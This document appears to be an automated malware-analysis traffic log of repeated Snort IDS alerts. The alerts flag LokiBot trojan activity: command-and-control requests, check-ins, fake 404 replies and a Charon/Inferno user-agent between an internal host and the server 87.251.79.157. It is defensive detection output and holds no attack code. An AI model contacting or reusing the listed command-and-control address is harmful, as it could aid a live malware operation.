Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49730 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49730
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49731 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49731 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49731 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49731 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49731
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49732 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49732 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49732 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49732 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49732
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49733 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49733 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49733 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49733 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49733
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49734 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49734 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49734 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49734 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49734
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49735 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49735 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49735 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49735 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49735
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49736 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49736 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49736 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49736 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49736
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49737 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49737 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49737 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49737 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49737
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49738 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49738 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49738 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49738 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49738
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49739 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49739 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49739 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49739 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49739
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49740 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49740 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49740 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49740 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49740
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49741 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49741 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49741 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49741 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49741
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49742 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49742 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49742 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49742 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49742
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49743 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49743 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49743 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49743 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49743
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49744 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49744 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49744 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49744 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49744
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49745 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49745 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49745 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49745 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49745
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49746 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49746 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49746 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49746 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49746
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49747 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49747 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49747 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49747 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49747
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49748 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49748 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49748 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49748 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49748
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49749 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49749 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49749 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49749 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49749
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49750 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49750 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49750 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49750 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49750
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49751 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49751 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49751 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49751 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49751
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49752 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49752 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49752 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49752 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49752
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49753 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49753 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49753 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49753 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49753
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49754 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49754 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49754 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49754 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49754
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49755 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49755 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49755 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49755 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49755
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49756 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49756 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49756 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49756 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49756
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49757 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49757 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49757 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49757 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49757
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49758 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49758 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49758 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49758 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49758
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49759 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49759 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49759 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49759 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49759
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49760 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49760 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49760 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49760 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49760
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49761 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49761 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49761 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49761 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49761
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49762 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49762 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49762 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49762 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49762
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49763 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49763 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49763 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49763 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49763
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49764 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49764 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49764 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49764 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49764
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49765 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49765 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49765 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49765 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49765
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49766 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49766 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49766 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49766 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49766
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49767 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49767 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49767 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49767 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49767
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49768 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49768 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49768 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49768 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49768
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49769 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49769 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49769 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49769 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49769
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49770 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49770 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49770 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49770 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49770
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49771 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49771 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49771 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49771 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49771
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49772 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49772 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49772 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49772 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49772
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49773 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49773 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49773 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49773 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49773
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49774 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49774 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49774 -> 87.251.79.157:80
